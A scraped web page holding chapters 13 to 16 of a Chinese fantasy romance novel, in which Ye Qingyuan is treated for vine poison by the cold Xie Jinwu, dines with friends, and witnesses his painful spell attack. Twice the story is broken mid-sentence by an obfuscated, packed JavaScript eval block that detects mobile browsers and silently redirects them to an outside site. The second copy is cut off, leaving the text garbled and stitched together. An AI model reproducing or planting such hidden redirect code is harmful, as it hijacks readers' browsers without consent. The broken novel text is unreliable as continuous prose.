$(''#content'').append('' > 叶清圆脑思绪混乱,不想搭腔。 谢尽芜的视线下移一瞬,又很快避开:“你的伤不要处理一下?” “咦?”叶清圆一下子清醒了,“我受伤了?” 她慌忙低头去瞧,手臂内侧的软肉不经意擦过襦裙,强烈的痛感后知后觉地涌上来,她的脸色忽地煞白。 映入眼帘的是被鲜血染红的衣袖,手腕的伤口没有得到及时处理,已然血肉模糊,殷红的血甚至顺着手腕与指尖流淌、干涸,又洇开在棠梨色的裙角,像是飘落、融化的点点红梅。 伤口的周遭还有青紫的浮肿痕迹,想必是方才与食肉藤蔓缠斗时被攻击到。情况紧迫,她那时只觉得手臂一阵火辣辣的剧痛,却根本没有察觉到鲜血漫出。 叶清圆自小娇生惯养,何曾受过这么重的伤?当即慌得双腿一阵阵发软。她顾不得形象了,颤抖着手从裙角撕下一块布,没曾想稍微用了力气,刚止住血的伤口竟撕裂开来,新鲜的血液缓缓渗出,蜿蜒蔓延到手背上。 她欲哭无泪,手忙脚乱折腾了一阵,也没能单手将布条系在手腕止血。 正焦急间,头顶忽地传来一声似有若无的叹息:“叶姑娘,妖藤分泌出的汁液有毒,你这么粗暴地将伤口缠住亦是无用。” 谢尽芜垂下眼帘看她,眉梢微挑,薄薄的唇勾起一个无奈的笑:“需要先解毒。” 难怪那藤蔓总携带一股浓浓的血腥恶臭,也难怪自从被藤蔓攻击一次之后,她总觉得头痛欲裂,连胸口也忍不住烦恶起来。 这食肉妖藤果真不是什么正经藤蔓,浓郁翠绿的叶片下藏满了坚硬的倒刺不说,刺上竟还沾着毒,从各种角度来说,这都是点满了攻击技能啊! 事到如今,性命要紧。叶清圆扬起脸,唇角微弯,望着谢尽芜的目光澄明温和,带着暖融融的诚恳:“那……谢公子,可有解毒的办法?” “有。”谢尽芜勾起唇角微笑,可说出口的却是另一番话,“可我为何要救你?” 叶清圆勉强扯起一抹笑:“谢公子,我们毕竟相识许久了,不是吗?” 谢尽芜偏过头,眸中冷光一闪而逝:“我的身边不留修为平平的人。” 叶清圆僵硬了一瞬,眼中的光芒逐渐暗淡下去。 是啊,对此时的谢尽芜而言,这世间就是个弱肉强食的杀戮场,唯武力与计谋决定一切。她不会拳脚功夫,只会画符,脑袋又不是很聪明,看不懂那么多勾心斗角。 行进路上又帮不了什么忙,甚至还占了他的本命珠。 在他的眼中,自己可不是一无是处吗? 叶清圆心里冷了下去,没好气地道:“可谢公子来到这里,不是为了带我回去吗?” 这鬼地方瘴气浓重,妖藤遮天蔽日,若不是受江云初所托,他有什么必要在此浪费时间? 她眼里的光芒慢慢黯淡下去,谢尽芜垂眸看她,唇角戏谑的笑意也莫名隐去了。 “你留在这里,恰好能喂饱那株妖藤,毕竟它已经饿了太久了。”他收敛笑意,一压眉头,那双黑曜石般的眼瞳顿时冷得彻骨,“我亲自来此,也只不过想知道,它是否还有力气进食。” “至于受江姑娘所托……”谢尽芜轻声道,“很抱歉,我来晚一步,叶姑娘已经被妖藤杀害。” 他眯起双眼,眸带戏谑:“总归这里的情况,江云初又看不到。” 14. 第 14 章 叶清圆恼怒地看着他。 分明上一秒才善意提醒她要解毒,下一刻就将杀意摆得这么明显,故意捉弄她很好玩吗? “你……”叶清圆从未见过这般善变的人,气得心脏砰砰乱跳,语无伦次道,“原来这恶心的妖藤还是谢公子的爱宠?谢公子还真是品味风雅,眼光独特。既然如此,那我还要为方才打伤你的妖藤而道歉了?” 谢尽芜定定看着她,低垂的眉眼无端给人一种压迫感。 碎金缓缓流淌,金叶子般的光簇拥着她的脸。 她长得极白净,此时怒气上涌,脸颊便激出薄薄的绯红,眼瞳是琥珀色,泛着委屈的水光,那双漂亮的眉眼都灵动了起来。 她的脸颊肌肤有一层细细的、柔嫩的绒毛,平添出几分稚气与纯真。 谢尽芜低垂的眼睫乌浓,垂下去像一把小扇子。四目相对,她的眼中满是愤怒、委屈与被欺负后的难以置信。 而他的眼潭深邃无波,仿佛一潭死水。望得久了,才从深处泛起一点轻微的涟漪来。 谢尽芜垂着眼看她气鼓鼓的样子,终于松口:“不必。你的手腕也因此而受伤了,我们扯平。” “……什么?”叶清圆仿佛没听到般,又问了一遍。 “我说,你伤了食肉妖藤,它也反过来伤了你,所以扯平。” 谢尽芜雪白的袖口一抖,露出一个青花小瓷瓶:“妖藤的毒性猛烈,叶姑娘若是再耽搁,恐怕今晚就能含笑而终。” 叶清圆疲惫至极地闭上眼,在心里挥拳把谢尽芜狠狠揍了一顿,打到他鼻青脸肿,再起不能,才勉强出了口气,皮笑肉不笑道:“那真是麻烦谢公子了。” 谢尽芜对她的道谢不置可否,下巴一点,示意她拉起衣袖,将伤口露出来。 叶清圆犹豫了一下,还是缓缓将轻纱般柔软的衣袖拉起来,露出血迹斑斑却并不深的伤口。 血迹都有些干涸了,黏在她玉白的手腕上,颇有些触目惊心。叶清圆神情严肃,连眉头都没皱一下,可是唇角却紧紧抿着。 她的目光在伤口与药瓶之间游移,一副如临大敌的模样。 原来是怕疼啊。 谢尽芜的眉梢微扬。 换做平时,这种细微的伤口根本引不起他的注意,比小刀划一下严重不了多少。这次也是因妖藤上确实有剧毒,若放任不管,破坏了本命珠才是得不偿失,否则他才不会对她的伤口和痛苦施舍半分目光。 他莫名起了些捉弄的兴致,手持瓷瓶悬在伤口上方,指尖轻点,白色的粉末簌簌抖落。 娇嫩的血肉接触到刺鼻的药粉,叶清圆当即疼得嘶一声,强忍着痛意,连目光都移到一旁,盯着地上的榕树落叶。 却始终将藕白手臂递在他眼皮底下,献祭般一动不动。 昏黄的落日涌动如海潮翻滚,榕树下的光影交错,掩住谢尽芜低垂的双眸,叫人看不清表情。他将瓷瓶收入袖中,两指并拢,冰冷的灵力磅礴涌出,在指尖燃烧起一簇火苗。 他左手握住叶清圆的半截手腕,右手拈起那簇火苗用力向她的手臂上一拍。 叶清圆睁大了双眼,喉间立竿见影地涌上一阵腥甜,猝不及防地咳出一口血! 谢尽芜当机立断放开她的手腕,闪身向旁边撤出半步,避过这场“血光之灾”。 腥甜的血溅落在地,很快融入泥土中。 他这一撤,叶清圆失了力度支撑,险些一头向前栽倒,还是谢尽芜又以掌心按住她的肩,勉强算是扶了她一把。她踉跄半步堪堪稳住身子,也顾不得形象了,抬起袖子擦了擦唇边的血迹。 喉间的血腥气仍未散去,喘息也剧烈,叶清圆掩住唇轻咳了两声,脸颊才后知后觉地泛起热气来……她这是被谢尽芜嫌弃了? 不过这也无可厚非,毕竟谁也不想被人一口血吐在衣服上。 谢尽芜居高临下地审视她,眼梢斜斜向上挑,目光亦是冷漠淡然:“小心养着,不会留下疤痕。” 真体贴,连这一点都想到了。叶清圆很是感激地对他笑了笑,黑白分明的双眼简直要弯成月牙。 谢尽芜抿了抿唇,轻声补充道:“我给你用的药也都是好药,没有毒的。” 叶清圆一怔,哪有帮了别人之后还要专门解释一番的。 莫非是在邀功吗? 她眨了眨眼,思索片刻。 以谢尽芜的性情,或许是有可能的。他将利益看得太重,情之一字就轻了,或许在他眼中,这也不过是一场利益交换。 真可怜。 叶清圆垂下颈子笑了,笑得温和又怜悯:“我没有说谢公子的药不好啊,谢公子帮我解毒,我应当感谢才是,怎会无缘无故怀疑你呢?” 谢尽芜低垂着视线看她。春和景明,她的衣衫也轻.薄,头颅低垂时恰好露出一段雪白的纤弱的脖颈,细碎的发丝拂在后颈上,像水草缠绕。 他蓦地收回视线,别过脸去,一言不发地转身走了。 ……这人的脾气怎么一阵阵的? 叶清圆简直莫名其妙,不过也懒得和他计较,忍住浑身的酸痛与无力,小步跟了上去。 她很累,快要走不动路子,原身这具身体又缺乏锻炼,今日的活动量一超标,小腿肌肉立刻撕扯得酸胀。幸好谢尽芜的步伐不知为何也特别慢,她不费多少力气就可以跟上。 两个人一路无言地走出密林,将近半个时辰之后,终于走到客栈所在的那条小巷。 巷子里种了一株樱花树,枝干遒劲,花繁叶茂,至少有几十年树龄。晚风一吹,满树的粉色花瓣簌簌飘落,铺在地面满满的一层。 “清圆!”二楼的菱花木窗吱呀一声向外推开,江云初隔着窗子对她笑道,“快上来,特意给你点了好吃的!” 暮色四合,华灯初上,客栈中明黄的灯光透过木窗泼洒下来,照亮了叶清圆精致的侧脸与眼眸中温和的光芒。 她踮起脚,分明脸上都是疲态,此时却挤出一个大大的、明亮的笑容,冲二楼挥手:“云初姐姐!” 谢尽芜恰好走到她身后两步远的花树下,不经意间抬头一望,顿住脚步。 叶清圆侧着身子,额头、鼻梁与下巴拉出一道漂亮利落的线条,静水般柔和的光芒流淌在她的脸颊与脖颈。她脸上散落的发丝被风吹得有些乱,在灯下看起来特别柔软。发色也并非纯粹的黑,在光的照耀下显出些许的浅棕,毛茸茸的,奇异地流露出孩子气,让他想起初夏时嫩绿枝叶间将要成熟的梅子。 柔嫩的、酸涩的,不堪一击的。 这莫名的联想让他的额角一跳,很快难堪地避开目光。 湖风轻抚,风中送来潮水般的欢笑声,谢尽芜眨了眨眼,不到一息的时间,视线却莫名其妙地再次移到了她的脸上。 幸好,樱花树枝繁叶茂,在客栈前方投下一片隐蔽的阴影,暂时遮掩住了他的目光。 他像是一只隐蔽在暗处的兽,目光无法自控地定在前方那道身影,连他自己都不知原因。 江云初看到了谢尽芜掩在树下的衣角,却看不清他的脸,只出声道:“谢公子,一起上来吧?” 叶清圆闻声也回头望去,恰好与他的目光相撞,怔然一瞬后,随即又笑了起来,眉目间一派天真。 谢尽芜的眉心微蹙。 真奇怪,路上还对他那种不爱搭理的态度,此时又笑得这么开心。 可见此人就是惯会甜言蜜语,逢场作戏。 她讲过的那些话,都做不得真。 谢尽芜的眸光冷下去,冲着江云初点头之后,快步进入客栈。 - 今晚的菜肴颇为丰富,荤素搭配得宜,又有美酒相配。 明暖灯光下,江云初端坐在桌边,身体朝身边许明竹的方向微微侧着,脸上带着羞涩的笑意,连语气都温柔了许多,简短介绍道:“我们自小相识,如今已有十几年的交情。明竹为人温和,今后清圆若有什么事,也可以与他商量,不必不好意思的。” 许明竹笑得眉眼弯弯,颇为善意地朝叶清圆点了点头。 他是个文雅的书生模样,笑时若清风朗月,很容易就博得人的好感。 他们二人相貌极为出众,连微笑时的神情都颇为相似,果真是一对神仙眷侣。 叶清圆看得忍不住浑身冒粉红泡泡,抬手捂住小半张脸,一脸“嗑到了”的幸福表情:“好呀!许公子,今后少不得要麻烦你啦。” 许明竹笑着颔首,主动开启话题:“听云初说,叶姑娘是想跟着一起云游历练,对吗?在下赞赏并且佩服姑娘的勇气,但实不相瞒,符咒之事,我和云初懂得并不多,因此……特意请了尽芜来此。” 谢尽芜闻言抬眼,不轻不重地“嗯”了一声。 他懂得符咒之术? 叶清圆惊讶得睁大了双眼。 江云初自始至终都在观察着他们,她担心因初阳镇一事,二人之间会彼此心存芥蒂,这不利于今后的行动。 可饭桌上的氛围也还算平和,平和得过了头。谢尽芜和叶清圆仿佛互不认识,连目光交流都近于无,她有些头痛,笑着解释道:“谢公子很精通符咒布阵之术的。” 叶清圆听懂了,言下之意是,之后一段时间,她都要与谢尽芜同行了。 也好,反正她有系统布置的任务要完成。即便谢尽芜不来,她也会被迫去制造机会与他见面。 放下筷子,叶清圆的目光转向谢尽芜,很认真、诚恳地笑道:“谢公子,真是巧呀,我们又要并肩作战了呢。” 这话一听,就知道他们刚才在藤蔓密林里几乎没有交流。 江云初有些无奈。 当事人却根本不在意。 谢尽芜的手腕搁在桌面上,食指在酒盏的杯壁上轻轻敲击着,坐姿也比平时要放松一些。 头顶明灯的流光太过灼目,他移过目光,淡漠的眼瞳隔着氤氲的茶香与酒香望向叶清圆:“很巧。” 叶清圆也冲他笑笑,端起酒盏诚恳道:“还要多谢今日的相救之恩。若非谢公子为我解了那妖藤上的毒,恐怕现在我都没办法坐在这里说话。” 江云初向来淡定,此时也不由吃惊道,“还有这种事?他竟会主动……” 许明竹轻咳一声,拍了拍她的手背。 “我先干为敬。”叶清圆笑着与谢尽芜碰了杯,仰头喝了一口酒盏里的酒,顿时辣得直咳嗽,脸颊也红了,眸子泛出一层水光。 敬酒这种事,讲究个一饮而尽,叶清圆出师未捷被呛个半死已是丢面子,端起酒杯欲再饮。一只修长有力的手却伸过来按住她的酒盏,“不要勉强了。” 手指稍微用力,轻而易举就将酒盏从她手中取走,谢尽芜将酒盏放在自己面前。 对面两位姑娘都惊讶地看着他,唯有许明竹眼含笑意地垂眸饮茶。 谢尽芜抿了抿唇,眸中是冰冷的漠然:“救你是顺手而已。” 许明竹唇角的笑意僵住了,无奈地闭了闭眼睛。 江云初的脸上则是露出了释怀的笑意,果然,他还是如此稳定发挥。 叶清圆勉强挤出一抹笑容,竖起大拇指:“谢公子果真是善良又热心啊!” 也许是有恋人在身旁相陪,江云初今晚的心情特别好,很是耐心地听她讲密林中发生的事,眼角眉梢的笑意都没下去过,时不时和许明竹情意绵绵地对望一眼,还亲自用了筷子给清圆夹菜,眼中流露出温和的光芒。 叶清圆吃得腮帮子鼓鼓的,还不忘点头说谢谢,笑得眼睛弯弯。 她被困在密林中整整一天,早就饿得前胸贴后背了,半碗米饭下肚之后,不由觉得浑身都轻飘飘的,仿佛置身在柔软的云中,人生极乐也不过如此。 她捧着饭碗,满足地叹息道:“真幸福!” 许明竹和江云初端坐在桌边,听了她的话皆是一笑,眼里露出和善的笑容。 谢尽芜倒是被她略显豪迈的坐姿和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445926|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举止震惊了,缓了片刻后,才轻声道:“真能吃。” 两个人的座位挨着,他又将声音压得很低,因此这句带点调侃意味的话只传入了叶清圆的耳中。叶清圆闻声立刻扭头,乌发挽住的水滴簪子相撞,发出悦耳空灵的声响。 “谢公子。”叶清圆睁着一双大眼,眼尾上挑,带着似有若无的笑意,就这么盯住他。 谢尽芜压根没料到她会忽然转头,防备心让他瞬间杀意骤起,待看清她那双眼睛之后,却又硬生生忍下去,手腕压在桌面上,只不动声色地稍微后仰,与她拉开一段距离:“嗯。” “谢公子要吃糖醋鱼吗?”叶清圆明亮的眸中浮出一点狡黠的笑意,不等他回答,就夹了一筷鱼肉放入他面前的碗盏,“信我,很好吃的。” “……什么?”谢尽芜的眉头蹙起,脸上神情冷峻,下意识就以为她给自己夹的并非鱼肉,而是穿肠烂肚的毒药。 她却搁下筷子,仰头看着谢尽芜,眼里笑出了溶溶的、期冀的柔光。她的肤色是红润的玉白色,嘴唇殷红,沾了果汁,泛出一层薄薄的水光,连呼出的气息都裹着清爽凛冽的香甜。 谢尽芜就这么垂眸看她,忽然浑身不自在起来。如坐针毡,心生厌烦,甚至开始恨她为何坐得这么近。 他都不明白自己为何会觉得烦躁,躲避似的移开目光,端起酒盏饮了一口酒,唇角紧紧抿着,半点笑意都没有,真是冷峻极了。 可是那道尚且稚嫩的嗓音又在耳畔响起了,带着小心的试探:“谢公子,不尝尝吗?没有毒的。” 谢尽芜闭了闭眼睛,“多谢叶姑娘的好意,但我不爱吃鱼。” 这么明摆着拒绝她的好意,即便是瞎子也瞧出不对劲了,饭桌上顿时氛围尴尬起来,许明竹清了清嗓子想要打圆场,叶清圆却先笑着说:“没关系。” 她多次示好被拒,不往心里去,也不得罪人,依旧笑得眉眼弯弯,一副娇憨天真的模样。 江云初的眉头皱了皱,倒是觉得谢尽芜有些莫名其妙的苛刻,转移话题道:“清圆这次在密林中可是累坏了?” 一提起这个,叶清圆就有一肚子的苦水要倒,她拉起云雾般轻柔的衣袖,露出白皙手臂上缠着的白绷带,“别的还好,那只妖藤啊,可真是要折磨死我了……” “受伤了?”江云初顿时脸色变了,眼中显出薄怒,“怎么不早说?方才竟还喝了半杯酒,你真是胡闹!” “只有小半杯而已嘛,”叶清圆讨好地笑了,“现在我杯子里都是果汁呀,云初姐姐。” “你真是……”江云初常年居于上位,不笑时自有一种冷冰冰的气质,但此时不能叫她把酒再吐出来,只好叹了一口气,“伤口痊愈之前,不许再喝了。” 叶清圆连忙答应,“一定一定!” 她的态度这么诚恳,江云初也不好再说什么,只是眼里仍有责怪,“你真是,这么聪明,却还犯这样蠢的错误。” 叶清圆眼珠一转,迅速转变话题:“幸好我前几日不眠不休背熟了那些符咒的画法,才能打败那只妖藤,走出密林。” 许明竹一向稳重,此时也是不由得赞许道:“真棒。” 并非他的敷衍。点灵世家的道符秘籍,堪称是浩如烟海的繁杂。叶清圆手中的那一本虽记载得不全,却也颇为晦涩难懂,她能在短短几天之内就记住画法,又在危急时刻能冷静下来,凭借记忆画出相应的符术,还爆发出极大的威力,可见她的脑子是真的好使。 叶清圆兴致高涨,绘声绘色地讲述起在密林的所见所闻。 饭桌上其乐融融,一对活泼爱闹的姐妹和旁边安静倾听的男人,氛围温馨得像是真正的一家人在说笑。 可谢尽芜却有些迷茫。 他的目光垂下来,落在酒盏中清爽凛冽的佳酿,余光里是那掩在轻薄衣衫下的半截藕白色手臂。 叶清圆用膳之前特意去了房里梳妆,换上一身棠梨色的襦裙,脸上不施粉黛,是带着天真的、稚嫩的脸庞,柔软的面颊肌肤在灯下愈发有种剔透的美。 她的眼睛极好看,眼瞳琥珀般柔亮,眼尾长而媚,笑起来简直勾人心魄。 不像他。 曾有人带着恶毒的恨意评价过他的眼睛,漂亮、清透,冷冽疏离的一双眼,却又深不见底,是一潭冰冷彻骨的死水。 那时他尚且年幼,根本听不懂这是夸赞还是贬损,脸上现出迷茫不解的神情。那人看到自己的反应之后,笑得却更加癫狂:“可悲!你真是可悲极了!连爱与恨都感知不到,你与一把只会伤人的剑有何区别?!” 话里是毫不掩饰的敌意与嘲讽,他对这种恶意倒是很熟悉。于是,他封死了那人的筋脉,将他关进希夷殿后山的缚灵地牢。 可是从那天开始,谢尽芜却更加不解了,萦绕在心头的疑惑又多了一桩。 他跑去问老殿主,那人的话究竟是什么意思?老殿主神色复杂地看了他半晌,最后只是叹了口气,什么也不说。 谢尽芜闭了闭眼,胸口莫名泛起一阵烦躁。 他的眼眸是一潭死水,叶清圆的眼眸为何就这样亮? 因为她可以感知到那人所说的“爱与恨”吗? 谢尽芜抬起眼帘,看酒桌上笑闹的三人,眉头不自觉地锁紧:叶清圆怎么与他们如此熟悉了? 她是个活泼爱笑的性子,活泼得甚至有些失了分寸。这才认识不到半月,就已经能眉飞色舞地从密林遭遇一路讲到自己的童年趣事,甚至对许明竹这样刚相识不久的人,也能笑得眼睛弯弯。 甜言蜜语,逢场作戏。分明都告诉过她,自己根本不爱吃甜食,她方才为何又笑盈盈地叫他去尝那道糖醋鱼? 可见,在初阳镇的时候,叶清圆对他的善意与示好,都只是她顺手所为罢了。 她才不会将自己的事情真正地放在心上。 她对别人的态度,甚至比对自己更温柔、更活泼。 他本就没什么特殊。 15. 第 15 章 夜晚的微风仍旧有些凉,客栈雅间为了客官的私密着想,天色一暗就将靠窗的竹篾帘子垂了下来,遮住酒桌上的光景。 唯有帘子间隙吹进来细细的凉风,冲淡了叶清圆脸上因饮酒而升腾的热气。 她用手背碰了碰发烫的脸颊,趁着醉意,大着胆子靠近了江云初:“云初姐姐,我今日的任务完成得还算好吗?” 声音本来不大,奈何许明竹低着眸喝茶,谢尽芜又不开金口,雅间内此时静得甚至可以听到外头堤岸的热闹人声。她这自以为的“小声”,殊不知已经把字句清晰地送入众人耳中。 谢尽芜闻言,颇为讶异地抬眸看她一眼。许明竹则是觉得好笑,他捧着一碗清茶倚坐在窗边,放远目光看街边闪烁的花灯。 叶清圆貌似一无所知,不等回答,就开始抱怨道:“今天的任务太难了,我知道姐姐的本意肯定不是这样的。说好了在太阳落山之前走出密林就算成功,绝不会又放进去食肉妖藤的。” 她怎么忽地提起这事?许明竹挑起眉,当即明白了她的用意,颇为赞赏道,“叶姑娘很聪明,竟能看出那妖藤是后来放进去的。” 说罢,移过目光看向“始作俑者”谢尽芜。 谢尽芜连眼睛都懒得抬,食指轻轻敲着酒盏的杯壁,将琥珀色的酒液敲出细微的涟漪。 江云初轻轻颔首,思索一瞬:“清圆说这些,是觉得放食肉妖藤的那个人有错吗?” “不,我没有这么觉得。”叶清圆诚恳地笑了笑,“他这样做并非是为了加害于我。况且,我并没有因此而受很严重的伤呀。” 江云初若有所思地点点头。而许明竹何等聪明,霎时就懂她的意思了。他将茶盏放在桌上,收回目光,对江云初温柔地一笑:“去外面走走吗?很久没有一起散步了。” 江云初有点意外地看着他,片刻后,脸颊上飞起一抹红晕,“……好。” - 雅间的菱花木门被关闭的一刹那,叶清圆才愣愣地反应过来,这对恋人真的就这样离席了。 她惊诧于情侣之间旁若无人的甜蜜,很快又沮丧起来。热恋期的情侣可不就是这样吗?再冷静自持的人,某个瞬间也会抵不住那汹涌的爱意,周遭所有都如潮水般退去,此时此刻,眼里只看得到对方。 只不过她自己毫无恋爱经验,体会不到这种梅子般青涩的甜蜜,因此才感到惊讶而已。 染上花香的晚风从帘子间细细游进来,拂过谢尽芜搁在桌边的手腕。他转过头,漠然的眼瞳定定望住了叶清圆:“叶姑娘。” 叶清圆正端着杯盏小口抿果汁,温声抬起头:“嗯?” 谢尽芜不欲废话:“叶姑娘在密林中,可是动用了本命珠的力量?” “咦?这我不知道。”叶清圆没什么好隐瞒的,干脆诚实道来,“我分辨不出来什么是本命珠的力量。那时画符之后,只觉得身上灵力又多又少的……” 她很认真,绞尽脑汁描述当时的感受:“总觉得力气全都耗尽,仿佛下一秒都要晕倒过去了,可是又能坚持一下。难道这就是本命珠在发挥作用吗?” 谢尽芜颔首,漆黑的眸中情绪晦暗不明。 许久后,他的唇角才漏出一点点笑意:“恭喜你,它已经为你所用了。” “是吗?”叶清圆本能地察觉到了危险的杀意,心中惴惴不安,“可是你看起来并没有开心。” “而且,你虽然在笑,可是脸色却很难看。”她扬起脸,大着胆子道,“谢公子,你很不舒服吗?” 谢尽芜终于皱了眉头,修长白皙的指节捏紧了酒杯。 这本是一句随口的关怀,谁知他忽然敛起笑容,那双淡漠冰冷的眼睛看向她。 这句话仿佛戳到了他敏感的神经,他面无表情,目光疏离冷傲得像是一块冰,开口时连最基本的涵养都丢掉了:“你认为自己可以看穿所有人?” 叶清圆怔住了,明晃晃的冷漠攻击让她的大脑空白了一瞬。待反应过来的时候,怒气将脸颊都烧得浅红,她忍住脏话,蹭地站起身,冷声道:“既然谢公子不需要朋友的关心,那我也不在这里浪费时间了,告辞。” 轻巧的菱花门被拉开,又“砰”的一声重重关上。 木窗仍旧开着,晚风徐徐吹送,街上行人的笑闹声隐约传来,显得模糊而遥远。 谢尽芜闭了闭眼,眉头皱得死紧,钻心的痛楚蔓延至四肢百骸,他的脸在一瞬间血色褪尽,变得苍白无比。 心口的位置传来灼烫的热度,仿佛有一块烙铁在燃烧,玉白修长的手指剧烈颤抖着。 他讨厌被别人看到自己的脆弱与不堪,宁愿恶言冷语赶走所有人。 僻静的雅间内唯有颤栗的喘息声,窗外的热闹人声此时都成了干扰心神的噪音。他用力咬住下唇,凝神聚气,指节弯曲,咬得发红的唇动了动,口中默念法诀,眨眼便掐出一道法印。 他并非点灵世家出身,却对符印如此熟稔,无需符纸,凭空即可画符,仿佛先前已这般重复过千次万次。 指尖霎时燃起一道冰蓝色的火焰。火苗倒映在漆黑漠然的瞳眸,冷得不带丝毫温度。 真冷的火焰,真美的颜色。 谢尽芜虚脱般地倚在木椅中,浓秀的眼睫低垂,眸中忽地流露出一丝堪称贪恋的意味。 只需一盏茶的时间,他就会忘记这种剜心刺骨般的痛楚,麻木、冷漠将会像茫茫大雪覆盖天地一样,再一次覆盖包裹住他早已痛到抽搐的心脏。 就像之前无数次的那样,用麻木去治愈一切。 不去看,不去感受,只要刻意遗忘,痛苦就不存在。 喉结滚了滚,一声极尽嘲讽、无奈的轻笑后,谢尽芜阖上双眼,毫不犹豫、面无表情地将那道法印重重打入心口。 “砰——!” 菱花门再一次被推开,晚风涌动着灌入这个沉闷的雅间,悬垂的竹帘鼓动起来,发出清脆悦耳的声响。 掌心距离心口仅余半寸,谢尽芜的眉心狠狠蹙起,睁开的双眼中一瞬间凝聚起杀意。 站在门口的叶清圆猝不及防被他吓了一跳:“你怎么了?” 谢尽芜冷冷瞥去一眼,眼中都是术法被打断的不耐烦:“你回来干什么?” “我……”叶清圆话还未出口,就见桌边端坐那人忽然捂住心口,神情极为痛苦地皱了眉,而后一口血咳了出来! “谢尽芜!” 她几乎是一瞬间惊呼出声,下意识奔到谢尽芜身边时却又身体僵硬起来,颤抖着手取出一方手帕递给他:“快擦擦!” 谢尽芜的心脏痛得快要麻痹,甚至感觉不到跳动,眼前也一阵阵发晕。身边人柔软温和的声音听在耳中,像是隔了一层厚厚的棉布。 他的听觉在如此短的时间内竟被蒙蔽住了,再不用术法延缓痛苦,五感都被封印也说不准。 他没有看到她递来的手帕,只是用手抹了一下唇角。 本该黏腻温热的鲜血缓缓滴落,他却毫无知觉,垂下眼睫茫然地看着手背上开出一朵朵殷红靡丽的花。 触觉也变得迟钝了。 叶清圆见他竟还有闲暇发愣,恨铁不成钢地翻了个白眼。她忍住浑身的战栗感,将手帕举在他的眼皮子底下晃了晃:“喂,好歹擦一擦?” 可谁知谢尽芜此时又抽了什么风,视线扫过来一瞬,叶清圆的手腕忽地传来一阵粗糙的温热感,紧接着,是宛如腕骨碎裂般的剧痛。 谢尽芜冷着脸,右掌握住她细瘦的手腕,稍一用力,就叫她痛得热泪都溢出眼眶。 她用另一只手拍打着谢尽芜的手腕:“放开,放开!” 用力捶打了好几下,谢尽芜不为所动,眉眼压得很低,漂亮清透的瞳中此刻布满了红血丝,乍一看狰狞无比。 叶清圆说什么他都没有反应,像聋了一样。她真怕这样下去会被他失手伤了,又担心他走火入魔失控。情急之下也顾不得礼节,转头凑近他青筋毕露的手掌,张口用力咬了下去! 她咬得足够狠,拿出了咬风干牛肉的架势。血腥气在唇齿之间弥漫开来,那只扼住她手腕的手终于恢复触觉般动了一下,叶清圆连忙松开。 谢尽芜眨了眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的唇角也抿着,好像是有点生气,又好像不是。谢尽芜的眼中很难得地露出了迷茫,按照他的过往认知来说,一个人若是心生不悦,才不会管别人是否流血、是否疼痛。 他的五感终于恢复,掌缘传来残余的痛意,被她咬伤的地方还在渗血,却后知后觉地回忆起她的唇角不经意的触碰,微微濡湿的柔软。 叶清圆有些急了,干脆拉过他的手掌,亲自上手给他擦了血迹,又上了药,包扎好,忍不住说了一句:“流血了都不知道要包扎吗?你这人到底是聪明还是笨?” 她的语调轻轻,声音清脆又温柔,与其说是责备不如说是无奈更多。 谢尽芜怔怔地看着自己的手,纯白的绷带缠绕,甚至还系了一个漂亮的结。 “你以前也会有这样的情况吗?”叶清圆忍着手腕的痛苦,决定先弄清谢尽芜反常的原因,“我刚推门进来的时候,看到你的手指上燃烧了一团火,还是蓝色的。那是什么?” “这种事你不应该问。”谢尽芜的神情平静,语调也没有一丝波澜,“至于那团火焰,是符术。我只能告诉你这么多。” 这种事情傻子也能看出来。想敷衍她至少也用点心啊。 叶清圆没搭理他这一茬,问道:“有办法解决吗?” 谢尽芜低垂的眼睫颤动了一下,转过脸来,用那双黑润纯澈的眼睛注视着她,却一言不发。 “有吗?”叶清圆焦急道,“如果有办法你就说呀,我们一起帮你。” “你帮我?”谢尽芜轻笑一声。 叶清圆没注意他话里的陷阱,出于朋友仗义,毫不犹豫点了头。 谢尽芜的脸颊净白,眼神中掺杂着复杂情绪:“算了吧,你自己都未必能活命。” “不用费心思管我,你顾好自己就行了。”他揉了揉眉心,似乎是很累的样子,招呼都不打一声,起身离去。 叶清圆呆在了原地。 她终于意识到,原书对于谢尽芜的性格描述太过准确,他的端方有礼、君子样貌,完全都是为了在尘世中方便行事而伪装出来的。 他恶劣、冷漠,性格别扭而幼稚,是一块很难捂热的寒冰。 16. 第 16 章 初夏的夜晚已有了燥热的感觉,叶清圆睡到半夜忽然发闷得厉害,晕头晕脑地挪到窗前。 “吱呀——” 她将直棂窗刚刚推开一道缝隙时,居然在对面堤岸的花树下瞥见一道恍惚朦胧的身影。 叶清圆吓得心跳几乎骤停,还以为是水鬼上岸。揉了揉眼再看,竟见那道人影抬手拂了拂低垂的木绣球花枝,缓步从树下走了出来。 那人穿了一身玄色衣裳,腰间佩剑,一张脸在月色下白得欺霜胜雪,竟然是谢尽芜。 他大半夜不睡觉跑到河边干什么? 叶清圆一头雾水,恰好谢尽芜听觉极为灵敏,轻微的推窗声依旧引他回头,眼中含有隐隐的杀意。 与她目光相撞时,二人却皆是一怔。 叶清圆将木窗开得大了些,迎着清浅的月光冲他一笑,无声地做了个口型:“谢公子。” 她笑着向他招手,露出的一截手臂在月光下白得晃人眼睛。 谢尽芜按在剑鞘的手垂了下来。 那扇木窗又阖上,过不多久,一道活泼跳脱的身影从客栈的后门绕了出来,踩过洒满月光的青石砖道,来到他的面前。 月光照水,万籁俱寂。谢尽芜出声问:“你来这里做什么?” 叶清圆眨了眨眼:“我还想问呢,这么晚了,谢公子不在房里睡觉吗?” 